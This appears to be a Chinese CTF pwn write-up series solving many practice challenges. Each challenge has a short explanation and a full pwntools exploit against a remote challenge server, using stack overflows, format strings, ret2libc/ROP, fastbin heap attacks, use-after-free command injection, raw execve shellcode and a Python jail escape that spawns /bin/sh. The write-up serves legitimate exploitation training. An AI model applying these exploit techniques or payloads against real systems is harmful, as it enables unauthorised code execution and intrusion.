新手練習(xí)
CGfsb
簡單的格式化字符串
from pwn import *
p = process("cgfsb")
p = remote("111.198.29.45",32128)
p.sendline("123")
p.sendline(p32(0x0804A068)+"%4c%10$n")
p.interactive()
get_shell
nc 上去直接 cat flag
hello_pwn
溢出即可
from pwn import *
# p = process("./hello_pwn")
p = remote("111.198.29.45",32145)
p.sendline('a'*4+p64(0x6E756161))
p.interactive()
when_did_you_born
from pwn import *
# context.log_level="debug"
# p = process('./when_did_you_born')
p = remote("111.198.29.45",30140)
payload = "a"*8+p32(1926)
p.recv()
p.sendline("1111")
p.recv()
p.sendline(payload)
p.interactive()
level0
from pwn import *
# context.log_level="debug"
# p = process('./level0')
p = remote("111.198.29.45", 30142)
payload = "a"*0x88+p64(0x400596)
p.sendline(payload)
p.interactive()
level2
from pwn import *
# context.log_level="debug"
# p = process('./level2')
elf = ELF('./level2')
p = remote("111.198.29.45", 30143)
binbash = 0x804A024
payload = "a"*(0x88+4)+p32(elf.plt['system'])+p32(0xdeadbeef)+p32(binbash)
p.recv()
p.sendline(payload)
p.interactive()
string
? 這道題目話太多了:(熏矿,實際上就是一個格式化字符串漏洞的利用,修改v3處的值為85即可。
from pwn import *
# context.log_level="debug"
# a = process('./string')
a = remote("111.198.29.45",30155)
a.recvuntil("secret[0] is ")
v3_addr=a.recvuntil("\n")
v3_addr="0x"+v3_addr[:-1]
v3_address=eval(v3_addr)
a.recvuntil("What should your character's name be:\n")
a.sendline("a")
a.recvuntil("So, where you will go?east or up?:\n")
a.send("east\n")
a.recvuntil("go into there(1), or leave(0)?:\n")
a.send("1\n")
a.recvuntil("'Give me an address'\n")
a.send(str(v3_address)+"\n")
a.recvuntil("you wish is:\n")
payload="%085d%7$n"
a.sendline(payload)
a.recvuntil("Wizard: I will help you! USE YOU SPELL\n")
a.sendline("\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05")
a.interactive()
guess_num
? 先看下程序邏輯,漏洞點在于輸入name的時候存在溢出,能夠?qū)V械碾S機數(shù)種子覆蓋掉,然后就能夠猜出數(shù)字了。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
FILE *v3; // rdi
const char *v4; // rdi
int v6; // [rsp+4h] [rbp-3Ch]
int i; // [rsp+8h] [rbp-38h]
int v8; // [rsp+Ch] [rbp-34h]
char v9; // [rsp+10h] [rbp-30h]
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v11; // [rsp+38h] [rbp-8h]
v11 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
v3 = stderr;
setbuf(stderr, 0LL);
v6 = 0;
v8 = 0;
*(_QWORD *)seed = sub_BB0(v3, 0LL);
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:");
gets(&v9);
v4 = (const char *)seed[0];
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
v8 = rand() % 6 + 1;
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v6);
puts("---------------------------------");
if ( v6 != v8 )
{
puts("GG!");
exit(1);
}
v4 = "Success!";
puts("Success!");
}
sub_C3E(v4);
return 0LL;
}
? 這道題和后面萌新入坑一道題非常像螺戳,就是溢出覆蓋隨機數(shù)種子為0,然后本地根據(jù)0生成隨機數(shù)種子即可折汞。
- 生成隨機數(shù)的c程序:
#include<stdlib.h>
#include<time.h>
int main(){
int seed[2];
* seed = time(0);
srand(0);
//srand(time(0));
int i = 0;
for(i=0;i<50;i++){
printf("%d\n",rand()%6+1);
}
return 0;
}
- exp腳本
from pwn import *
context.log_level="debug"
g = process('./a.out')# ,env={'LD_PRELOAD':'./libc.so.6'})
a = g.recv().split('\n')
# p = process("./guess_num.dms")
p = remote("111.198.29.45",31403)
p.recvuntil("Your name:")
p.sendline("a"*0x20+p64(0))
# p.sendline("aaa")
# gdb.attach(p)
for i in range(10):
p.recvuntil('guess number:')
p.sendline(str(a[i]))
p.interactive()
int_overflow
? 這道題目主要利用的是整數(shù)溢出:
char *__cdecl check_passwd(char *password)
{
char *result; // eax
char dest; // [esp+4h] [ebp-14h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(password); // 這里返回值是使用al寄存器存儲的倔幼,在大于255的時候會發(fā)生溢出,變成一個很小的數(shù)
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
result = strcpy(&dest, password);
}
return result;
}
? 簡單普及下整數(shù)溢出的知識爽待,這道題目就是利用上溢的知識繞過長度的檢查损同,造成溢出:
- 上溢 運算后超過所能表示的上限,變成了一個很小的數(shù)
- 下溢 運算后超過所能表示的下限鸟款,變成了一個很大的數(shù)
from pwn import *
# context.log_level="debug"
# p = process("./int_overflow.dms")
flag = 0x804868B
p = remote("111.198.29.45",31431)
p.sendline("1")
p.recvuntil("username:")
p.sendline("aaaa")
p.recvuntil("passwd:")
payload = "a"*0x18 + p32(flag)
p.sendline(payload.ljust(260,"a"))
p.interactive()
? 這里需要注意的是要控制溢出之后的長度在3和8之間膏燃。
cgpwn2
? 把 /bin/sh 字符串寫到 bss 段,使用溢出調(diào)用system函數(shù)的時候?qū)?bss 段 name 的地址當作參數(shù)傳入即可何什。
from pwn import *
# context.log_level="debug"
# p = process("./cgpwn2.dms")
elf = ELF("./cgpwn2.dms")
p = remote("111.198.29.45",31484)
p.recvuntil("please tell me your name")
p.sendline("/bin/sh")
p.recvuntil("hello,you can leave some message here:")
p.sendline("a"*0x2a + p32(elf.symbols['system']) + p32(0xdeadbeef) + p32(0x804A080))
p.interactive()
level3
? 溢出但是沒有給出libc组哩,可以先利用write函數(shù)泄漏其在內(nèi)存中的地址,根據(jù)偏移推算出libc在內(nèi)存中的基地址(查詢網(wǎng)站 https://libc.blukat.me)处渣,然后就能得到system函數(shù)和bin_sh字符串在內(nèi)存中的實際地址伶贰,再次溢出即可getshell
from pwn import *
context.log_level="debug"
# p = process("./level3.dms")
elf = ELF("./level3.dms")
p = remote("111.198.29.45",31489)
p.recvuntil("Input:")
p.sendline("a"*(0x88+4) + p32(elf.plt['write']) + p32(0x8048484) + p32(1) + p32(elf.got['write']) + p32(4))
print "---------------"
p.recv()
write_addr = u32(p.recvuntil('Input:\n',drop=True))
print "write_addr:",hex(write_addr)
libc_addr = write_addr - 0x0d43c0
print "libc_addr:",hex(libc_addr)
sys_addr = libc_addr + 0x03a940
binsh_addr = libc_addr + 0x15902b
p.sendline("a"*(0x88+4) + p32(sys_addr) + p32(0x8048484) + p32(binsh_addr))
# gdb.attach(p)
p.interactive()
萌新入坑
pwn2
主要分兩步
- getlibc
- getshell
基礎(chǔ)功能:
? 簡單來說就是可以進行增刪改查,存在漏洞的地方是改的時候能夠?qū)е露岩绯龌舯龋ㄟ^溢出修改 pre_size 和 pre_inuse 可以造成 overlapping幕袱。程序開啟了 pie暴备,沒辦法獲取進程在內(nèi)存中的基地址悠瞬,但是我們可以通過溢出控制 fd,使用 fastbin attack,將 malloc_hook 處改寫為 one_gadget 來 getshell.
from pwn import *
context.log_level = "debug"
# p = process('./babyheap')
p = remote("111.198.29.45",32049)
libc = ELF("libc-2.23.so")
def new(size,content):
p.recvuntil(">> ")
p.sendline("1")
p.sendline(str(size))
p.sendline(content)
def edit(index,size,content):
p.recvuntil(">> ")
p.sendline("2")
p.sendline(str(index))
p.sendline(str(size))
p.sendline(content)
def printt(index):
p.recvuntil(">> ")
p.sendline("3")
p.sendline(str(index))
def delete(index):
p.recvuntil(">> ")
p.sendline("4")
p.sendline(str(index))
使用后向合并獲取libc基地址:
new(0x100,"0"*0xff) # 0
new(0x100,"1"*0xff) # 1
new(0x100,"2"*0xff) # 2
new(0x100,"3"*0xff) # 3
edit(0,0x111,'0'*0x100 + p64(0x110) + p64(0x221))
delete(1)
new(0x100,"4"*0xff) # 4
printt(2)
libc_base = hex(u64(p.recv(6).ljust(8,'\x00'))- (libc.symbols["__malloc_hook"]) - 0x10 - 88)
gdb.attach(p)
p.interactive()
使用前向合并獲取libc基地址:
new(0x100,"0"*0xff) # 0
new(0x10,"1"*0xf) # 1
new(0x100,"2"*0xff) # 2
new(0x100,"3"*0xff) # 3
new(0x10,"4"*0xf) # 4
edit(2,0x111,'2'*0x100 + p64(0x240) + p64(0x110))
delete(0)
delete(3)
new(0x100,"5"*0xff) # 5
printt(1)
print hex(u64(p.recv(6).ljust(8,'\x00'))- (libc.symbols["__malloc_hook"]) - 0x10 - 88)
gdb.attach(p)
p.interactive()
這里是構(gòu)造類似如下chunk結(jié)構(gòu):
由于free B的時候浅妆,根據(jù)修改的pre_size會向前去找x的前后chunk能否合并望迎,并且查看A是否處于空閑狀態(tài)是根據(jù)B堆塊的pre_inuse位判斷的,所以要在x和A之間加一個fastbin使其safe unlink凌外,或者在修改b的pre_inuse之前就free x
最后free b觸發(fā)向前合并之前辩尊,先free掉x,通過safe unlink操作把堆塊x從freelist中卸下康辑。為了safe unlink不會出錯摄欲,比較方便的方法是讓x處于空閑狀態(tài)。故我們應(yīng)該在釋放堆塊B之前釋放x疮薇,這樣堆塊x到堆塊B的整個空間就都被釋放掉了胸墙。不然的 unlink x的時候其fd和bk不能通過安全檢查。
最開始想用 fastbin
的 double free
的按咒,寫到最后突然想到不能控制 __free_hook
附近的 size
值迟隅,malloc
的時候會拋出異常,囧励七。智袭。程序開啟了pie,指向堆塊的指針都在程序的bss段掠抬, unlink也不行:
new(0x100,"0"*0xff) # 0
new(0x10,"1"*0xf) # 1
new(0x100,"2"*0xff) # 2
new(0x100,"3"*0xff) # 3
new(0x10,"4"*0xf) # 4
edit(2,0x111,'2'*0x100 + p64(0x240) + p64(0x110))
delete(0)
delete(3)
new(0x100,"5"*0xff) # 0
printt(1)
libc_base = u64(p.recv(6).ljust(8,'\x00'))- (libc.symbols["__malloc_hook"]) - 0x10 - 88
print hex(libc_base)
new(0x10,"6"*0xf) # 3
new(0x10,"7"*0xf) # 5
delete(1)
delete(5)
delete(3)
new(0x10,p64(libc_base+libc.symbols["__free_hook"]-0x10)+"6"*0x7) # 3
new(0x10,"8"*0xf) # 3
new(0x10,"9"*0xf) # 3
new(0x10,p64(0x45216)+"a"*0x7) # 3
delete(0)
gdb.attach(p)
p.interactive()
后來調(diào)試發(fā)現(xiàn)可以利用__malloc_hook
之前 -0x23的位置剛好全為0吼野,且后邊有 0x7f
可以組合作為size字段(fastbin attack
只檢查 size 字段較高2字節(jié)所以低2字節(jié)的f沒有影響),因此構(gòu)造大小為60的 fastbin chunk
pwndbg> x /10gx 0x7f8dcf9b7ae0
0x7f8dcf9b7ae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000
0x7f8dcf9b7af0 <_IO_wide_data_0+304>: 0x00007f8dcf9b6260 0x0000000000000000
0x7f8dcf9b7b00 <__memalign_hook>: 0x00007f8dcf678e20 0x00007f8dcf678a00
0x7f8dcf9b7b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f8dcf9b7b20 <main_arena>: 0x0000000000000000 0x0000000000000000
pwndbg> x /10gx 0x7f8dcf9b7aed
0x7f8dcf9b7aed <_IO_wide_data_0+301>: 0x8dcf9b6260000000 0x000000000000007f
0x7f8dcf9b7afd: 0x8dcf678e20000000 0x8dcf678a0000007f
0x7f8dcf9b7b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000
0x7f8dcf9b7b1d: 0x0000000000000000 0x0000000000000000
0x7f8dcf9b7b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000
exp:
from pwn import *
context.log_level = "debug"
# p = process('./babyheap')
p = remote("111.198.29.45",32049)
libc = ELF("libc-2.23.so")
def new(size,content):
p.recvuntil(">> ")
p.sendline("1")
p.sendline(str(size))
p.sendline(content)
def edit(index,size,content):
p.recvuntil(">> ")
p.sendline("2")
p.sendline(str(index))
p.sendline(str(size))
p.sendline(content)
def printt(index):
p.recvuntil(">> ")
p.sendline("3")
p.sendline(str(index))
def delete(index):
p.recvuntil(">> ")
p.sendline("4")
p.sendline(str(index))
new(0x100,"0"*0xff) # 0
new(0x10,"1"*0xf) # 1
new(0x100,"2"*0xff) # 2
new(0x100,"3"*0xff) # 3
new(0x10,"4"*0xf) # 4
edit(2,0x111,'2'*0x100 + p64(0x240) + p64(0x110))
delete(0)
delete(3)
new(0x100,"5"*0xff) # 0
printt(1)
libc_base = u64(p.recv(6).ljust(8,'\x00'))- (libc.symbols["__malloc_hook"]) - 0x10 - 88
print hex(libc_base)
new(0x200,"5"*0x1ff) # 0
new(0x60,"5"*0x5f) # 0
new(0x60,"5"*0x5f) # 0
delete(6)
edit(5,0x79,0x60*'a' + p64(0x60) + p64(0x71) + p64(libc_base+libc.symbols["__malloc_hook"] - 0x23))
new(0x60,'b'*0x5f)
payload = "\x00" *0x13 + p64(libc_base + 0x4526a)
payload = payload.ljust(0x5f,"\x00")
print hex(libc.symbols["__malloc_hook"]+libc_base)
new(0x60,payload)
p.recvuntil(">> ")
p.sendline("1")
p.sendline(str(0x66))
# gdb.attach(p)
p.interactive()
dice_game
主函數(shù)邏輯都在main函數(shù)中两波,在輸入name的時候存在棧溢出箫锤,輸入name后,會進入執(zhí)行游戲的函數(shù)雨女,大體猜數(shù)字谚攒,根據(jù)輸入的數(shù)字和隨機數(shù)生成的數(shù)字比較,猜對50次就給出flag:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf[55]; // [rsp+0h] [rbp-50h]
char v5; // [rsp+37h] [rbp-19h]
ssize_t v6; // [rsp+38h] [rbp-18h]
unsigned int seed[2]; // [rsp+40h] [rbp-10h]
unsigned int v8; // [rsp+4Ch] [rbp-4h]
memset(buf, 0, 0x30uLL);
*(_QWORD *)seed = time(0LL);
printf("Welcome, let me know your name: ", a2);
fflush(stdout);
v6 = read(0, buf, 0x50uLL);
if ( v6 <= 49 ) // 名字小于49 最后追加終止符氛堕,存在棧溢出
buf[v6 - 1] = 0;
printf("Hi, %s. Let's play a game.\n", buf);
fflush(stdout);
srand(seed[0]);
v8 = 1;
v5 = 0;
while ( 1 )
{
printf("Game %d/50\n", v8);
v5 = play_game();
fflush(stdout);
if ( v5 != 1 ) // 贏得50次游戲 打印出flag
break;
if ( v8 == 50 )
{
get_flag((__int64)buf);
break;
}
++v8;
}
puts("Bye bye!");
return 0LL;
}
? 考慮利用的方式馏臭,因為time(0)是能預(yù)測的,所以寫個簡單程序把隨機數(shù)預(yù)測出來就行讼稚,最開始因為程序里 srand 初始化使用的是 time(0)括儒,想著不用溢出也行。后來試了下本地可以锐想,遠程不行帮寻,可能是服務(wù)器和本地 time(0) 的返回值不同,還是老老實實溢出修改初始化隨機數(shù)種子把赠摇。
#include<stdlib.h>
#include<time.h>
int main(){
int seed[2];
* seed = time(0);
srand(0);
//srand(time(0));
int i = 0;
for(i=0;i<50;i++){
printf("%d\n",rand()%6+1);
}
return 0;
}
exp:
from pwn import *
context.log_level="debug"
g = process('./a.out')# ,env={'LD_PRELOAD':'./libc.so.6'})
a = g.recv().split('\n')
# p = process("./dice_game")
p = remote("111.198.29.45",32149)
p.recv()
p.sendline("a"*0x40+p64(0))
# p.sendline("aaa")
for i in range(50):
p.recvuntil('Give me the point(1~6): ')
p.sendline(str(a[i]))
p.interactive()
pwn-100
? ida打開固逗,程序就是一個棧溢出浅蚪,首先檢查下防護,沒有 canary 和 pie烫罩,可以用rop惜傲,64位程序找下傳參的gadget。
nevv@nevv:~/Desktop$ checksec pwn100
[*] '/home/nevv/Desktop/pwn100'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
nevv@nevv:~/Desktop$ ROPgadget --binary pwn100 | grep "pop rdi"
0x0000000000400763 : pop rdi ; ret
? 發(fā)現(xiàn)有 pop rdi贝攒,那么可以通過puts函數(shù)打印出某個函數(shù)的got表地址處的值盗誊,然后就可以根據(jù)偏移得到 libc 的基地址。
exp:
from pwn import *
# context.log_level="debug"
# p = process('./pwn100')
elf = ELF("./pwn100")
p = remote("111.198.29.45", 30042)
payload = ("1"*0x48 + p64(0x400763) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x400550)).ljust(200)
p.sendline(payload)
p.recvuntil('~\n')
puts_addr = u64(p.recv()[-7:-1].ljust(8,"\x00"))
libc_base = puts_addr - 0x06f690
print "libc_base", hex(libc_base)
system = libc_base + 0x045390
print "system", hex(system)
bin_sh = libc_base + 0x18cd57
print "bin_sh", hex(bin_sh)
payload = ("2"*0x47 + p64(0x400763) + p64(bin_sh) + p64(system) + p64(0xdeadbeef)).ljust(200)
p.sendline(payload)
p.interactive()
? 這里最開始 get shell 一直失敗隘弊,后來調(diào)試過程中發(fā)現(xiàn)第二次輸入的時候 buf 最低為有一個 0x0a 回車符哈踱,所以前邊得填充 0x47 個字符。
# 用下邊第二段payload進行調(diào)試
payload = '2'*8
p.sendline(payload)
gdb.attach(p)
p.interactive()
? 調(diào)試中間信息:可以看到第二次輸入的起始位置有一個回車符 :(
05:0028│ rbp 0x7ffd08abad10 —? 0x7ffd08abad60 —? 0x7ffd08abad80 —? 0x400700 ?— push r15
06:0030│ 0x7ffd08abad18 —? 0x4006ac ?— mov edi, 0x400784
07:0038│ 0x7ffd08abad20 ?— '\n22222222\n'
08:0040│ rsi-2 0x7ffd08abad28 ?— 0xa32 /* '2\n' */
09:0048│ 0x7ffd08abad30 ?— 0x0
Mary_Morton
? 根據(jù) ida 反匯編結(jié)果來看梨熙,主要想讓你做的就是利用一個格式化字符串漏洞和棧溢出漏洞來執(zhí)行到目標函數(shù)嚣鄙,程序沒有開啟pie,開啟了canary串结。不過我們可以根據(jù)格式化字符串漏洞將cannary的值打印出來哑子,溢出的時候再寫回去即可。
from pwn import *
context.log_level="debug"
# p = process("./mary_morton")
elf = ELF("./mary_morton")
p = remote("111.198.29.45",31556)
p.recv()
p.sendline("2")
p.sendline("%23$p")
p.recvuntil("0x")
cannary = p.recv(16)
cannary = p64(int("0x"+cannary,16))
# gdb.attach(p)
p.sendline("1")
payload = "a"*0x88 + cannary + p64(0xdeadbeef) + p64(0x4008de)
p.sendline(payload)
p.interactive()
stack2
打開題目肌割,功能是輸入一些數(shù)卧蜓,用一個棧上的數(shù)組存儲,然后計算平均數(shù)把敞,你可以修改輸入的數(shù)弥奸,在修改的地方存在越界寫,ida下反匯編文件可以看到:
int hackhere()
{
return system("/bin/bash");
}
? 因此我們只需要將函數(shù)的返回地址覆蓋寫為system函數(shù)的地址即可奋早,exp如下:
from pwn import *
context.log_level = "debug"
system_addr = 0x804859B
# p = process("stack2.dms")
p = remote("111.198.29.45",32420)
def change(idx, value):
p.sendline("3")
p.recvuntil("to change:")
p.sendline(str(idx))
p.recvuntil("new number:")
p.sendline(str(value))
p.recvuntil("5. exit")
p.recvuntil("you have:")
p.sendline(str(1))
p.recvuntil("Give me your numbers\n")
p.sendline(str(12))
change(0x84,0x9b)
change(0x84+1,0x85)
change(0x84+2,0x04)
change(0x84+3,0x08)
# gdb.attach(p)
p.sendline("5")
p.interactive()
? 這里我本地可以getshell盛霎,但是遠程連接服務(wù)器的時候會報錯 ,找不到/bin/sh文件耽装,應(yīng)該是本地和遠程的環(huán)境不一樣:
[DEBUG] Received 0x1c bytes:
'sh: 1: /bin/bash: not found\n'
? 所以只能調(diào)用system函數(shù)愤炸,然后重新給它傳sh作為參數(shù)了:
from pwn import *
context.log_level = "debug"
system_addr = 0x804859B
# p = process("stack2.dms")
p = remote("111.198.29.45",32420)
def change(idx, value):
p.sendline("3")
p.recvuntil("to change:")
p.sendline(str(idx))
p.recvuntil("new number:")
p.sendline(str(value))
p.recvuntil("5. exit")
p.recvuntil("you have:")
p.sendline(str(1))
p.recvuntil("Give me your numbers\n")
p.sendline(str(12))
# system_addr
change(0x84,0x50)
change(0x84+1,0x84)
change(0x84+2,0x04)
change(0x84+3,0x08)
# sh_addr
change(0x84+8,0x87)
change(0x84+9,0x89)
change(0x84+10,0x04)
change(0x84+11,0x08)
# gdb.attach(p)
p.sendline("5")
p.interactive()
warmup
? 簡單的溢出控制返回地址為 0x40060d 處的 get flag 函數(shù)即可。
from pwn import *
context.log_level = "debug"
p= remote("111.198.29.45", 32656)
# p = process("warmup.dms")
p.recv()
p.sendline("q"*0x48+p64(0x40060d))
p.interactive()
forgot
? 先checksec一下掉奄,沒開pie和canary规个,基本上可以確定是棧溢出。
from pwn import *
context.log_level = "debug"
p= remote("111.198.29.45", 30003)
# p = process("forgot.dms")
p.recv()
p.sendline("a"*67+p32(0x80486CC))
print p.recv()
# gdb.attach(p)
p.interactive()
echo
? 本地可以姓建,遠程不行诞仓,一臉懵逼。
from pwn import *
context.log_level = "debug"
# p= remote("111.198.29.45", 30050)
p = process("echo.dms")
p.sendline("a"*(0x3a+4)+p32(0x804854D))
# gdb.attach(p)
print p.recv()
# p.interactive()
Escape_From_Jail-50
? 考察python語言 getattr 函數(shù)獲取類的成員屬性值
getattr(os,"system")("/bin/sh")
babyfengshui
簡單分析程序速兔,發(fā)現(xiàn)使用的是如下結(jié)構(gòu)體:
struct user{
char *descript;
char name[0x7c];
}
問題出在修改結(jié)構(gòu)體的地方:
unsigned int __cdecl update(unsigned __int8 a1)
{
char v2; // [esp+17h] [ebp-11h]
int v3; // [esp+18h] [ebp-10h]
unsigned int v4; // [esp+1Ch] [ebp-Ch]
v4 = __readgsdword(0x14u);
if ( a1 < (unsigned __int8)user_num && ptr[a1] )
{
v3 = 0;
printf("text length: ");
__isoc99_scanf("%u%c", &v3, &v2);
if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )
{
puts("my l33t defenses cannot be fooled, cya!");
exit(1);
}
printf("text: ");
sub_80486BB(*(char **)ptr[a1], v3 + 1);
}
return __readgsdword(0x14u) ^ v4;
上述對修改長度的安全假設(shè)是建立在 description 和 user 結(jié)構(gòu)題在內(nèi)存中是緊鄰的情況墅拭,當分配再釋放一些堆塊后,兩者之間可能存在別的堆塊涣狗,這個時候就能夠造成溢出谍婉,修改中間結(jié)構(gòu)體的內(nèi)容舒憾。
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
io = process(['./babyfengshui.dms'])
elf = ELF('./babyfengshui.dms')
io = remote("111.198.29.45",30364)
def add_user(size, length, text):
io.sendlineafter("Action: ", '0')
io.sendlineafter("description: ", str(size))
io.sendlineafter("name: ", 'AAAA')
io.sendlineafter("length: ", str(length))
io.sendlineafter("text: ", text)
def delete_user(idx):
io.sendlineafter("Action: ", '1')
io.sendlineafter("index: ", str(idx))
def display_user(idx):
io.sendlineafter("Action: ", '2')
io.sendlineafter("index: ", str(idx))
def update_desc(idx, length, text):
io.sendlineafter("Action: ", '3')
io.sendlineafter("index: ", str(idx))
io.sendlineafter("length: ", str(length))
io.sendlineafter("text: ", text)
if __name__ == "__main__":
add_user(0x80, 0x80, 'AAAA') # 0
add_user(0x80, 0x80, 'AAAA') # 1
add_user(0x8, 0x8, '/bin/sh\x00') # 2
delete_user(0)
add_user(0x100, 0x19c, "A"*0x198 + p32(elf.got['free'])) # 0
# gdb.attach(io)
display_user(1)
io.recvuntil("description: ")
free_addr = u32(io.recvn(4))
print hex(free_addr)
system_addr = free_addr - (0x070750 - 0x03a940)
log.info("system address: 0x%x" % system_addr)
update_desc(1, 0x4, p32(system_addr))
delete_user(2)
io.interactive()
time_formatter
? 打印函數(shù)的功能是通過調(diào)用system函數(shù)實現(xiàn)的,其command參數(shù)是dword_602120和ptr屡萤,其中這兩個參數(shù)是我們通過 set_time 函數(shù)和 time_format 函數(shù)控制的珍剑,其中 set_time 函數(shù)在輸入之后是轉(zhuǎn)換為了 int 類型存儲的掸宛,ptr 雖然是以字符串類型存儲的死陆,但是在最開始的時候進行了輸入的檢查,不能輸入非法字符唧瘾。
__int64 __fastcall print_time(__int64 a1, __int64 a2, __int64 a3)
{
char command; // [rsp+8h] [rbp-810h]
unsigned __int64 v5; // [rsp+808h] [rbp-10h]
v5 = __readfsqword(0x28u);
if ( ptr )
{
__snprintf_chk(&command, 2048LL, 1LL, 2048LL, "/bin/date -d @%d +'%s'", (unsigned int)dword_602120, ptr, a3);
__printf_chk(1LL, "Your formatted time is: ");
fflush(stdout);
if ( getenv("DEBUG") )
__fprintf_chk(stderr, 1LL, "Running command: %s\n", &command);
setenv("TZ", value, 1);
system(&command);
}
else
{
puts("You haven't specified a format!");
}
return 0LL;
}
? 在 exit 函數(shù)的位置我們能看到一個明顯的漏洞措译,就是程序是先 free 掉內(nèi)存,然后再詢問你是不是要退出的饰序,如果不退出领虹,程序繼續(xù)正常執(zhí)行,存在 uaf 漏洞求豫,我們就可以先 time_format塌衰,選擇 exit,然后不退出再次選擇 set_time_zone蝠嘉,此時申請的內(nèi)存是之前 free 掉的 set_time 申請的內(nèi)存最疆,而這個函數(shù)沒有檢查輸入合法性,因此可以 getshell蚤告。
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
p = process('time_formatter.dms')
p = remote("111.198.29.45", 30543)
def time_format(s):
p.recv()
p.sendline("1")
p.recvuntil("Format:")
p.sendline(s)
def set_time_zone(s):
p.recv()
p.sendline("3")
p.recvuntil("zone:")
p.sendline(s)
def print_time():
p.recv()
p.sendline("4")
def exit():
p.recv()
p.sendline("5")
p.recv()
p.sendline("n")
time_format("%Y")
exit()
set_time_zone("' 123 || /bin/sh || \\")
print_time()
p.interactive()
? 在傳遞 /bin/sh 參數(shù)的時候注意下引號的閉合努酸。
Pwn1 babystack
? 簡單棧溢出,泄漏出canary后杜恰,leak 出 puts 函數(shù)的地址获诈,然后計算出 libc 的基地址,使用 onegadget 即可心褐。
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
p = process('babystack')
e = ELF("babystack")
p = remote("111.198.29.45", 30105)
pop_rdi = 0x400a93
def pstore(s):
p.recv()
p.sendline("1")
p.sendline(s)
def printt():
p.sendline("2")
pstore("a"*0x88)
printt()
p.recvuntil("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n")
canary = u64(p.recv(7).rjust(8,"\x00"))
print "canary is: ", hex(canary)
pstore("a"*0x88 + p64(canary) + "b"*8 + p64(pop_rdi) + p64(e.got["puts"]) + p64(e.plt['puts']) + p64(0x0400908))
p.recv()
p.sendline("3")
p.recvuntil(">> ")
puts_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_addr = puts_addr - 0x06f690
print "puts is: ",hex(puts_addr)
print "libc is: ",hex(libc_addr)
one = libc_addr + 0x45216
pstore("a"*0x88 + p64(canary) + "b"*8 + p64(one))
p.recv()
p.sendline("3")
# gdb.attach(p)
p.interactive()
AUL
應(yīng)該是 lua 語言的程序舔涎,nc 連接上去直接:
os.execute("cat flag")
100levels
nevv@ubuntu:~/Desktop$ checksec 100levels
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/nevv/.pwntools-cache/update to 'never'.
[!] An issue occurred while checking PyPI
[*] You have the latest version of Pwntools (3.12.2)
[*] '/home/nevv/Desktop/100levels'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
? 程序在 question 的時候存在溢出,聯(lián)系到之前程序的安全機制逗爹,應(yīng)該是 bypass pie
_BOOL8 __fastcall question(signed int a1)
{
int v2; // eax
__int64 v3; // rax
__int64 buf; // [rsp+10h] [rbp-30h]
__int64 v5; // [rsp+18h] [rbp-28h]
__int64 v6; // [rsp+20h] [rbp-20h]
__int64 v7; // [rsp+28h] [rbp-18h]
unsigned int v8; // [rsp+34h] [rbp-Ch]
unsigned int v9; // [rsp+38h] [rbp-8h]
unsigned int v10; // [rsp+3Ch] [rbp-4h]
buf = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
if ( !a1 )
return 1LL;
if ( (unsigned int)question((unsigned int)(a1 - 1)) == 0 )
return 0LL;
v10 = rand() % a1;
v2 = rand();
v9 = v2 % a1;
v8 = v2 % a1 * v10;
puts("====================================================");
printf("Level %d\n", (unsigned int)a1);
printf("Question: %d * %d = ? Answer:", v10, v9);
read(0, &buf, 0x400uLL);
v3 = strtol((const char *)&buf, 0LL, 10);
return v3 == v8;
}
? 根據(jù)bypass pie的思路终抽,應(yīng)該是泄漏出某個libc基址,既然是想leak出地址桶至,看到hint函數(shù)中昼伴,會判斷bss段某個變量是不是0,如果不是就打印system函數(shù)地址镣屹,但是由于沒什么好的辦法寫bss段圃郊,繼續(xù)仔細查看程序發(fā)現(xiàn)從 hint 函數(shù)再進入 go 函數(shù)的時候由于棧沒有變化,也就是說 go 函數(shù)和 hint 函數(shù)兩者的椗冢空間是一樣的持舆。go 函數(shù)的部分反匯編代碼如下:
.text:0000000000000B94 ; __unwind {
.text:0000000000000B94 push rbp
.text:0000000000000B95 mov rbp, rsp
.text:0000000000000B98 sub rsp, 120h
.text:0000000000000B9F lea rdi, aHowManyLevels ; "How many levels?"
.text:0000000000000BA6 call _puts
.text:0000000000000BAB call get_input
.text:0000000000000BB0 mov [rbp+var_120], rax
.text:0000000000000BB7 mov rax, [rbp+var_120]
.text:0000000000000BBE test rax, rax
.text:0000000000000BC1 jg short loc_BD1
.text:0000000000000BC3 lea rdi, aCoward ; "Coward"
.text:0000000000000BCA call _puts
.text:0000000000000BCF jmp short loc_BDF
